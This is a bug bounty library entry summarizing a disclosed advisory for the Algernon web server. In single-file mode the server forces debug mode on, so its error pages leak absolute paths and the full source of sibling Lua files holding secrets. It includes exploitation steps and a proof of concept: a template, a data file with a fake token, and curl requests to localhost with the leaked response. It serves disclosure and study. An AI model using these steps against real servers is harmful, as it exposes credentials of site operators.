# Algernon: Single-file mode unconditionally enables debug mode

Algernon single-file mode forces debugMode on, so template errors return HTTP 200 pages leaking absolute paths and full source of sibling Lua data files with secrets.

- Payout: Research
- Severity: high
- Program: Algernon
- Found by: Dredsen
- Disclosed: 2026-05-19
- CVE: CVE-2026-45728
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-fwqx-8365-9983
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-fwqx-8365-9983
- Tags: area:web domain:web impact:data-leak kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:source-review vuln:info-disclosure vuln:misconfiguration

**Target:** Algernon web server in single-file mode (Pongo2/Amber/Lua handlers)
**Root cause:** singleFileMode unconditionally sets debugMode=true in MustServe, and for non-.lua extensions the singleFileMode reset never runs, so --prod's later clamp is bypassed; PrettyError then renders absolute path plus entire file contents on any runtime error.
**Steps:**
1. Run `algernon page.po2` (or `.amber`, `.tmpl`) with a sibling `data.lua` containing secrets and a parse error.
2. Send `curl -s 'http://localhost:3000/'` to trigger a template/Lua error.
3. Observe HTTP 200 PrettyError page containing `Contents of .../data.lua:` with full source and the secret inlined.
4. Repeat with `algernon --prod page.po2` to confirm --prod does not suppress disclosure for non-.lua extensions.
**How found:** Code review of engine/config.go single-file detection and finalConfiguration ordering, then live verification comparing single-file vs directory mode responses and testing which extensions reach PrettyError.
**Exploitation:** Unauthenticated attacker sends ordinary requests that push the served script onto an untested path (wrong HTTP method, non-numeric param to tonumber, missing Cookie header, wrong-type filter arg), provoking a Lua/Pongo2 error; the 200 OK response body then contains the absolute path and full source of the errored file, including any hard-coded credentials.
**Escalation:** Disclosed source often contains DB connection strings, API keys, JWT signing secrets or admin credentials, enabling further compromise; --prod deployments are also affected for non-.lua extensions.
**Insight:** Check ordering between feature-detection defaults and hardening flags: a convenience branch that writes debugMode=true before --prod's clamp, combined with an extension-specific reset that only fires for .lua, leaves other template extensions exposed even under --prod.

## Proof of concept (copied exactly from the original report)

**PoC .po2 template and sibling data.lua with secret**

```
{# Demonstrate template error disclosure under singleFileMode #}
<h1>Hello {{ user.name }}</h1>
<p>Internal token: {{ admin_token }}</p>

`data.lua` (sibling, picked up automatically by `PongoHandler` at [engine/handlers.go:64-93](../engine/handlers.go)):

admin_token = "AKIA-FAKE-DEMO-AAAAAAAAAA/SECRET=demoSecretBYTES"
user = nil   -- forces {{ user.name }} to raise
```

**Run single-file .po2 and curl to leak source**

```
algernon page.po2 &
curl -s 'http://localhost:3000/'
# => "Lua Error" page citing /home/op/data.lua, source inlined,
#    `admin_token = "..."` visible to the unauthenticated requester.
```

**Live verification commands and leaked PrettyError response**

```
$ ./algernon.exe --nodb --httponly --addr 127.0.0.1:18777 --quiet poc4c/page.po2 </dev/null &
$ curl -s -o po2b.html -w "HTTP %{http_code}  bytes %{size_download}\n" http://127.0.0.1:18777/
HTTP 200  bytes 1013

**Response body (excerpt — entire file is the PrettyError page):**

<title>Lua Error</title>
...
<div style="font-size: 3em; font-weight: bold;">Lua Error</div>
Contents of poc-test\poc4c\data.lua:
<div>
  <pre><code>local SECRET = "sk-LEAKCANARY-DATALUA-PRIVATE"
<font style='color: red !important'>this is intentionally bad lua</font>
</code></pre>
</div>
Error message:
<div>
  <pre id="wrap"><code style="color: #A00000;">&lt;string&gt; line:2(column:7) near 'is':   parse error</code></pre>
```

